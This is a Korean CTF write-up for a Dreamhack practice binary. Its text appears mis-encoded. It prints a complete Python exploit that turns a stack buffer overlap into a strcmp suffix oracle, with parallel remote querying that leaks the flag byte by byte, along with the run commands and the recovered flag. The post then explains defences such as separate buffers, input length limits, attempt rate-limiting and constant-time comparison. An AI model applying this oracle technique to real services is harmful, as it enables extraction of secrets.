def ask(self, payload: bytes) -> bool:
for _ in range(4): # ๋คํธ์ํฌ ์ค๋ฅ๋ ์ฌ์๋
try:
s = socket.create_connection((self.host, self.port), timeout=10)
s.recv(64) # "What's the flag? "
s.sendall(payload)
data = b""
while True:
chunk = s.recv(256)
if not chunk:
break
data += chunk
s.close()
return b"Correct!" in data
except OSError:
continue
raise RuntimeError("์ฐ๊ฒฐ ์คํจ")๋๋ฆฐ ๊ฒฐ๊ณผ๋ค.

[+] ๋ฉ๋ชจ๋ฆฌ์ flag ๋ฌธ์์ด ๊ธธ์ด = 16
[15] }
[14] !}
[13] G!}
...
[ 1] H{RHP1_ZPWR2G!}
[ 0] DH{RHP1_ZPWR2G!}
[+] FLAG = DH{RHP1_ZPWR2G!}16์ด. ๋ก์ปฌ 39๊ธ์๋ณด๋ค ์งง์์ ๋ ๋นจ๋ฆฌ ๋๋ฌ๋ค.
์ ์ถ์ ์ฒซ ์๋ต์ด "์ค๋ต" ์ผ๋ก ๋์๋ค๊ฐ ํ ๋ฒ ๋ ๋ฃ์ผ๋ ์ ๋ต ์ฒ๋ฆฌ๋๋ค. ์ด ์ฌ์ดํธ์์ ์ข ์ข ๊ฒช๋ ์คํ์ด๋ผ, ๊ฐ์ ์์ฌํ๊ธฐ ์ ์ ์ฌ์ ์ถํด ๋ณด๋ ํธ์ด ๋ซ๋ค.
์ ๋ณ๋ ฌํ๊ฐ ํ์ํ๋
๋ก์ปฌ์ ํ๋ก์ธ์ค๋ฅผ ์๋ก ๋์ฐ๋ ๊ฒ๋ฟ์ด๋ผ 39๊ธ์๊ฐ 0.8์ด์ ๋๋ฌ๋ค. ์๊ฒฉ์ ๋ค๋ฅด๋ค.
ask() ํ ๋ฒ์ด TCP ์ฐ๊ฒฐยท๋ฐฐ๋ ์์ ยท์ ์กยท์๋ต ์์ ยท์ข
๋ฃ ์ ๊ณผ์ ์ด๋ผ ์๋ณต ์ง์ฐ์ด ๊ทธ๋๋ก ์์ธ๋ค.
์์ฐจ๋ก ๋๋ฆฌ๋ฉด ์ต์ 1,520ํ ร ์๋ณต์๊ฐ์ด ๋์ด ๋ช ๋ถ ๋จ์๋ก ๋์ด์ง๋ค. ์๋ฒ๊ฐ ์ ์์ ์ ํํ์ง ์๋๋ค๋ ์ ์ ์ด์ฉํด ์์ปค 8๊ฐ๋ก ํ๋ณด๋ฅผ ๋ฌถ์ด ๋์ก๋๋ 16์ด๋ก ์ค์๋ค.
๋ณ๋ ฌํ์์ ํ ๊ฐ์ง ์กฐ์ฌํ ๊ฒ ์๋ค. ThreadPoolExecutor.map ์ ์
๋ ฅ ์์๋๋ก ๊ฒฐ๊ณผ๋ฅผ ๋๋ ค์ฃผ๋ฏ๋ก,
๊ฐ์ ๋ฐฐ์น์์ ์ฌ๋ฌ ํ๋ณด๊ฐ ๋์์ Correct! ๋ฅผ ๋ฐ๋ ์ํฉ(์ด๋ก ์ ์์ด์ผ ํ์ง๋ง)์ด ์๋
์์ ํ๋ณด๋ฅผ ๋จผ์ ์ฑํํ๋ค. ์์๊ฐ ๋ค์์ด์ง ์์ผ๋ ๊ฒฐ๊ณผ๊ฐ ํ๋ค๋ฆฌ์ง ์๋๋ค.
์ค์ ๋ก ์ด solve.py ์ ๋ฌธ
์ ์บก์ณ ๋ ์ฅ(๋ก์ปฌยท์๊ฒฉ)์ ๋ง๋ ๋ฐ๋ก ๊ทธ ํ์ผ์ด๋ค. ์์์ ์กฐ๊ฐ์ผ๋ก ๋๋ ์ค๋ช ํ์ง๋ง, ์กฐ๊ฐ๋ง ๋ณด๊ณ ๋ค์ ์กฐ๋ฆฝํ๋ ค๋ฉด ์ฑ๊ฐ์๋ ํต์งธ๋ก ์ฃ๋๋ค. ๋ก์ปฌยท์๊ฒฉ ๊ฒธ์ฉ์ด๋ค.
#!/usr/bin/env python3
"""checkflag (Dreamhack, Bronze III) โ ์คํ ๋ฒํผ ๊ฒน์นจ์ ์ด์ฉํ ์ ๋ฏธ์ฌ ์ผ์น ์ค๋ผํด flag ์ถ์ถ.
๋ฉ๋ชจ๋ฆฌ ๋ฐฐ์น (main)
rsp+0x00 ... rsp+0xc7 read(0, rsp, 0xc8) ๋ก ์ฐ๋ฆฌ๊ฐ ์ฑ์ฐ๋ ์
๋ ฅ ๋ฒํผ(200๋ฐ์ดํธ, ์์ ์ ์ ๋ถ 0)
rsp+0x40 ... rsp+0x7f fgets(rsp+0x40, 0x40, flag) ๋ก ์ ์ฌ๋ flag ๋ฌธ์์ด
โ ์
๋ ฅ์ด 0x40๋ฐ์ดํธ๋ฅผ ๋์ผ๋ฉด flag ์๋ถ๋ถ์ ์ฐ๋ฆฌ๊ฐ ๋ฎ์ด์ด๋ค.
N = 0x40 + d ๋ฐ์ดํธ๋ฅผ ๋ณด๋ด๋ฉด flag[0:d] ๋ ์ฐ๋ฆฌ ๋ฐ์ดํธ K ๋ก ๋์ฒด๋๊ณ flag[d:] ๋ ๊ทธ๋๋ก ๋จ๋๋ค.
strcmp(rsp+0x00, rsp+0x40) ์ด ๋น๊ตํ๋ ๋ ๋ฌธ์์ด์
A = (์
๋ ฅ ์ 0x40๋ฐ์ดํธ ์ค NUL ์๊น์ง)
B = K + flag[d:]
A ๋ฅผ ์์ ํ ํต์ ํ ์ ์์ผ๋ฏ๋ก "flag[d:] == G ์ธ๊ฐ?" ๋ผ๋ ์ ๋ฏธ์ฌ ์ผ์น ์ค๋ผํด์ด ๋๋ค.
โ ๋ค์์๋ถํฐ ํ ๊ธ์์ฉ ๋ณต์.
"""
import argparse
import socket
import subprocess
from concurrent.futures import ThreadPoolExecutor
BUF = 0x40 # ์
๋ ฅ ๋ฒํผ ์์ ~ flag ๋ฒํผ ์์๊น์ง์ ๊ฑฐ๋ฆฌ
MAXLEN = 0x40 # fgets ์ต๋ ๊ธธ์ด
# fgets ๋ ๊ฐํ์ ๊ทธ๋๋ก ๋จ๊ธฐ๋ฏ๋ก 0x0a ๋ ํ๋ณด์ ๋ฃ๋๋ค. ๋๋จธ์ง๋ ๋ฌธ์ ์ค๋ช
์ 0x20~0x7e.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
# flag ์์ ์์ฃผ ์ฐ์ด๋ ๋ฌธ์๋ฅผ ์์ผ๋ก (ํ์ ํ์ ์ ์ฝ)
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))
def build(d: int, guess: bytes) -> bytes:
"""flag[d:] == guess ๋ฅผ ๋ฌผ์ด๋ณด๋ ํ์ด๋ก๋."""
K = b"A" * d # flag ์ d๋ฐ์ดํธ๋ฅผ ๋ฎ์ด์ธ ์๋ ค์ง ๋ฐ์ดํธ
A = K + guess # strcmp ์ข๋ณ์ ๋์ ๊ธฐ๋ ๋ฌธ์์ด
assert len(A) < BUF, f"A too long: {len(A)}"
head = A + b"\x00" * (BUF - len(A)) # NUL ๋ก ๋์ด A ๋ฅผ ํ์ , ๋๋จธ์ง๋ 0
return head + K # ์ด 0x40 + d ๋ฐ์ดํธ
class Local:
def __init__(self, path):
self.path = path
def ask(self, payload: bytes) -> bool:
p = subprocess.run([self.path], input=payload,
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
return b"Correct!" in p.stdout
class Remote:
def __init__(self, host, port):
self.host, self.port = host, port
def ask(self, payload: bytes) -> bool:
for _ in range(4): # ๋คํธ์ํฌ ์ค๋ฅ๋ ์ฌ์๋
try:
s = socket.create_connection((self.host, self.port), timeout=10)
s.settimeout(10)
s.recv(64) # "What's the flag? "
s.sendall(payload)
data = b""
while True:
chunk = s.recv(256)
if not chunk:
break
data += chunk
s.close()
return b"Correct!" in data
except OSError:
continue
raise RuntimeError("์ฐ๊ฒฐ ์คํจ")
def find_length(io, workers) -> int:
"""d >= len(flag) ์ด๋ฉด B ๊ฐ K ๋ฟ์ด๋ผ A ์ ๊ฐ์์ง๋ค โ ์ฒ์ Correct ๋์ค๋ d ๊ฐ ๊ณง ๊ธธ์ด."""
for base in range(0, MAXLEN, workers):
cand = list(range(base, min(base + workers, MAXLEN)))
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
for d, ok in zip(cand, hits):
if ok:
return d
raise RuntimeError("๊ธธ์ด ํ๋ณ ์คํจ")
def leak(io, length, workers, verbose=True) -> bytes:
known = b""
for pos in range(length - 1, -1, -1):
found = None
for base in range(0, len(CHARSET), workers):
cand = CHARSET[base:base + workers]
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
for c, ok in zip(cand, hits):
if ok:
found = c
break
if found is not None:
break
if found is None:
raise RuntimeError(f"{pos}๋ฒ์งธ ๋ฌธ์ ๋ณต์ ์คํจ")
known = bytes([found]) + known
if verbose:
shown = known.replace(b"\n", b"\\n").decode("latin1")
print(f" [{pos:2d}] {shown}", flush=True)
return known
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--local", metavar="BIN", help="๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก๋ก ๊ฒ์ฆ")
ap.add_argument("--remote", metavar="HOST:PORT", help="์๊ฒฉ ์๋น์ค")
ap.add_argument("--workers", type=int, default=8)
args = ap.parse_args()
if args.local:
io, workers = Local(args.local), args.workers
else:
host, port = args.remote.rsplit(":", 1)
io, workers = Remote(host, int(port)), args.workers
length = find_length(io, workers)
print(f"[+] ๋ฉ๋ชจ๋ฆฌ์ flag ๋ฌธ์์ด ๊ธธ์ด = {length}")
flag = leak(io, length, workers)
print(f"[+] FLAG = {flag.decode('latin1').strip()}")
if __name__ == "__main__":
main()์คํ์ ์ด๋ ๊ฒ ํ๋ค. ๋ก์ปฌ์ ๋ฐ๋์ local/ ์์์ ๋๋ ค์ผ ํ๋ค โ ๋ฐ์ด๋๋ฆฌ๊ฐ CWD ์
flag ํ์ผ์ ์ด๊ธฐ ๋๋ฌธ์, ๋ฐ์์ ๋๋ฆฌ๋ฉด fopen ์ด NULL ์ ๋ฐ์ ์กฐ๊ธฐ ์ข
๋ฃํ๊ณ
"๊ธธ์ด ํ๋ณ ์คํจ" ๋ง ๋๋ค. ๊ธฐ๋ณธ๊ฐ์ด ๊ณง ์คํจ๊ฐ์ธ ์
์ด๋ผ ์ฒ์์ ์ฌ๊ธฐ์ ํ ๋ฒ ํค๋งธ๋ค.
cd local && python3 ../solve.py --local ./checkflag # ๊ฐ์ง flag ๋ก ๊ธฐ๋ฒ ๊ฒ์ฆ
python3 solve.py --remote host3.dreamhack.games:15870 --workers 8 # ๋ผ์ด๋ธ6. ์ ์ด ๊ตฌ์กฐ๊ฐ ์ทจ์ฝํ๊ฐ
๋ฌธ์ ๋ฅผ ๋ ๋ ์ฝ๋ ๊ด์ ์์ ์ ๋ฆฌํด ๋๋ค.
๊ฐ์ ๋ฒํผ๋ฅผ ๋ ์ฉ๋๋ก ์ฐ๋ฉด ์ ๋๋ค. ์ด ํ๋ก๊ทธ๋จ์ ์ค์๋ ๋ฑ ํ๋, ๋น๋ฐ(flag)๊ณผ
์ ๋ขฐํ ์ ์๋ ์
๋ ฅ์ ์ธ์ ํ ๊ฐ์ ์คํ ์์ญ์ ๋์ ๊ฒ์ด๋ค. char buf[200] ํ๋๋ฅผ ์ก์
์์ ์
๋ ฅ, +0x40 ๋ถํฐ๋ flag ๋ก ์ฐ๋ ์์ด๋ฉด ์ ํํ ์ด ์ฝ๋๊ฐ ๋๋ค. ๋น๋ฐ์ ๋ณ๋ ๋ฒํผ์,
๊ฐ๋ฅํ๋ฉด ์
๋ ฅ ๋ฒํผ์ ๋ฉ๋ฆฌ ๋จ์ด๋จ๋ ค์ผ ํ๋ค.
์
๋ ฅ ๊ธธ์ด๋ "๋ฐ์ ์ ์๋ ์ต๋"๊ฐ ์๋๋ผ "๋ฐ์์ผ ํ๋ ์ต๋"๋ก ์ก๋๋ค. flag ๊ฐ ์ต๋ 0x40
๋ฐ์ดํธ์ธ๋ฐ ์
๋ ฅ์ 0xc8 ๋ฐ์ดํธ๋ ๋ฐ์ ์ด์ ๊ฐ ์๋ค. read(0, buf, 0x40) ์ด์๋ค๋ฉด ๊ฒน์นจ ์์ฒด๊ฐ
์ฑ๋ฆฝํ์ง ์๋๋ค.
๋น๊ต ๊ฒฐ๊ณผ ํ ๋นํธ๋ ์ ๋ณด๋ค. ์ด ๋ฌธ์ ์๋ ๋ฆฌํฌ๊ฐ ์๋ค. Correct! / Failed ๋ ๊ฐ๋๋ฟ์ธ๋ฐ,
๊ทธ ํ ๋นํธ๋ฅผ ๋ด๊ฐ ํต์ ํ๋ ์กฐ๊ฑด ์๋์์ ๋ฐ๋ณต ์ง์ํ ์ ์์๊ธฐ ๋๋ฌธ์ flag ์ ์ฒด๊ฐ ์์ด ๋์๋ค.
๋น๋ฐ๋ฒํธยทํ ํฐ ๋น๊ต์์ ์๋ ํ์ ์ ํ์ด๋ ์์ ์๊ฐ ๋น๊ต(hmac.compare_digest ๋ฅ)๋ฅผ ๋๋ ์ด์ ๊ฐ
์ด๊ฒ์ด๋ค. ์ด ์๋ฒ๋ ์ ์ ์ ํ๋, ์๋ ํ์ ์ ํ๋ ์์๋ค.
์ด๊ฑด ์ฌ์ด๋์ฑ๋์ด๋ค. ํ์ด๋ฐ์ด๋ ์ ๋ ฅ ๊ฐ์ ๋ฌผ๋ฆฌ๋์ด ์๋๋ผ ํ๋ก๊ทธ๋จ์ด ์ค์ค๋ก ๋ฑ๋ ์ฑ๊ณต/์คํจ ํ ๋นํธ๋ฅผ ์ด๋ค๋ ์ ๋ง ๋ค๋ฅด์ง, ๊ตฌ์กฐ๋ ๋๊ฐ๋ค. ๋น๋ฐ์ ์ง์ ์ฝ์ง ์๊ณ ๋น๋ฐ์ ์์กดํ๋ ๊ด์ธก ๊ฐ๋ฅํ ๊ฐ์ ๋ฐ๋ณตํด์ ๋ชจ์ ๋ณต์ํ๋ค.
๊ฐ์ ํํ๋ฅผ ์ค๋ฌด์์ ์์ฃผ ๋ง๋๋ค.
| ์ด๋ฆ | ๊ด์ธกํ๋ ๊ฒ | ๋ณต์ํ๋ ๊ฒ |
|---|---|---|
| ํจ๋ฉ ์ค๋ผํด | ๋ณตํธ ์ฑ๊ณต/ํจ๋ฉ ์ค๋ฅ | ์ํธ๋ฌธ ํ๋ฌธ |
| ๋ธ๋ผ์ธ๋ SQL ์ธ์ ์ | ์ฐธ/๊ฑฐ์ง ์๋ต ์ฐจ์ด | DB ๋ด์ฉ |
| ํ์ด๋ฐ ๊ณต๊ฒฉ | ๋น๊ต์ ๊ฑธ๋ฆฐ ์๊ฐ | ๋น๋ฐ๋ฒํธยทํ ํฐ |
| ์ด ๋ฌธ์ | Correct!/Failed | flag |
๋ฐฉ์ด๋ ๊ฐ์ ๊ณ์ด์ด๋ค. ๋น๋ฐ์ด ๊ด์ธก๊ฐ์ ์ํฅ์ ์ฃผ๋ ๊ฒฝ๋ก๋ฅผ ๋๊ฑฐ๋, ๊ด์ธก ํ์๋ฅผ ์ ํํ๋ค. ์ ์๊ฐ ์์ ์๊ฐ ๋น๊ต์ด๊ณ ํ์๊ฐ ์๋ ํ์ ์ ํ์ด๋ค. ์ด ์๋ฒ๋ ๋ ๋ค ์์๋ค.
๊ธธ์ด ๊ฒ์ฌ๊ฐ ๋ฐฉ์ด๊ฐ ๋์ง ๋ชปํ๋ค. strlen(flag) > ์
๋ ฅ๊ธธ์ด ๋ฉด Failed ๋ก ๋๋ ์ฝ๋๊ฐ ์๋๋ฐ,
์ฐ๋ฆฌ๋ ํญ์ flag ๋ณด๋ค ๊ธด 0x40+d ๋ฅผ ๋ณด๋ด๋ฏ๋ก ํ ๋ฒ๋ ๊ฑธ๋ฆฌ์ง ์๋๋ค. ๋ฐฉ์ด์ฒ๋ผ ๋ณด์ด์ง๋ง ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ
์ ํ ๋ง์ง ๋ชปํ๋ ๊ฒ์ฌ๋ค.
7. ์ด๋ฒ์ ๋ฐฐ์ด ๊ฒ
"๋ฆฌํฌ๊ฐ ์๋ค"์ "์ ๋ณด๊ฐ ์๋ค"๋ ๋ค๋ฅด๋ค. ์ฒ์ ์ด ๋ฌธ์ ๋ฅผ ๋ดค์ ๋ ๋ ์๊ฐ์ "์ถ๋ ฅ์ด ๋ ๊ฐ๋๋ฟ์ธ๋ฐ ๋ญ ํ ์ ์๋" ์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ํ ๋นํธ๋ฅผ ๋ด๊ฐ ์กฐ๊ฑด์ ํต์ ํ๋ฉด์ ๋ฐ๋ณตํด ๋ฌผ์ด๋ณผ ์ ์๋ค๋ฉด ์๊ธฐ๊ฐ ๋ฌ๋ผ์ง๋ค. ์ถ๋ ฅ ์ฑ๋์ ํญ์ด ์๋๋ผ ์ง์ ํ์ ร ํต์ ๊ฐ๋ฅ์ฑ์ด ์ค์ ์ ๋ณด๋์ ์ ํ๋ค.
์ ์ ๋ถ์์ ๊ฒฐ๋ก ์ ๋ฐํ์์ผ๋ก ํ ๋ฒ ๋ฐ์ ๋ณธ๋ค. lea rbp,[rbx+0x40] ์ ๋ณด๊ณ "๊ฒน์น๊ฒ ๋ค"
ํ๋ ๊ฒ๊ณผ, gdb ๋ก rsi-rdi = 0x40 ์ ์ฐ๊ณ flag ์ 4๋ฐ์ดํธ๊ฐ ์ค์ ๋ก AAAA ๋ก ๋ฐ๋ ๊ฑธ ๋ณด๋ ๊ฒ์
ํ์ ์ ๋ฌด๊ฒ๊ฐ ๋ค๋ฅด๋ค. ์ต์ค๋ฅผ ์ง๊ธฐ ์ ์ 30์ด๋ฉด ๋๋ ํ์ธ์ด๊ณ , ํ๋ ธ๋ค๋ฉด ๊ฑฐ๊ธฐ์ ๋ฉ์ถ ์ ์๋ค.
๋ฉ๋ชจ๋ฆฌ์ ์๋ ๋ฌธ์์ด์ ํ์ผ ๋ด์ฉ๊ณผ ๋ค๋ฅด๋ค. fgets ์ ๊ฐํ ํ๋ ๋๋ฌธ์ ๋ก์ปฌ์ 39,
์๊ฒฉ์ 16์ด ๋์๋ค. ๋ฌธ์ ์ค๋ช
์ด "์ถ๋ ฅ ๊ฐ๋ฅํ ASCII"๋ผ๊ณ ํ์ด๋ ๊ทธ๊ฑด flag ๊ฐ์ ์ด์ผ๊ธฐ์ง
๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ๋ ๋ฌธ์์ด์ ์ด์ผ๊ธฐ๊ฐ ์๋๋ค. ์ด๋ฐ ์ข
๋ฅ์ ๋ฌธ์ ์์๋ ํ๋ณด ๋ฌธ์์
์
์ค๋ช
๋ณด๋ค ํ ์นธ ๋๊ฒ ์ก์ ๋๋ ํธ์ด ์์ ํ๋ค.
์ ๋ฆฌ
main์ด ์ ๋ ฅ ๋ฒํผ(rsp)์ flag ๋ฒํผ(rsp+0x40)๋ฅผ ๊ฐ์ 200๋ฐ์ดํธ ์คํ ์์ญ์ ๋๋๋คread๋0xc8๋ฐ์ดํธ๋ฅผ ๋ฐ์ผ๋ฏ๋ก0x40+d๋ฅผ ๋ณด๋ด๋ฉด flag ์d๊ธ์๊ฐ ๋ด ๋ฐ์ดํธ๋ก ๋ฎ์ธ๋ค- ๋ฎ์ ๊ฐ์ ์๋ ์ํ์
strcmp๋ "flag ์ ๋จ์ ๋ท๋ถ๋ถ์ด ์ด๊ฑฐ ๋ง์?" ์ค๋ผํด์ด ๋๋ค - ๋น ์ถ์ธก์ด ์ฒ์ ํต๊ณผํ๋
d๊ฐ ๊ณง ๋ฉ๋ชจ๋ฆฌ์ flag ๊ธธ์ด (๋ก์ปฌ 39 / ์๊ฒฉ 16) fgets๋ ๊ฐํ์ ๋จ๊ธด๋ค โ CHARSET ์0x0a๋ฅผ ๋ฃ์ด ๋์ง ์์ผ๋ฉด ๋ง์ง๋ง ๊ธ์์์ ๋งํ๋ค
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ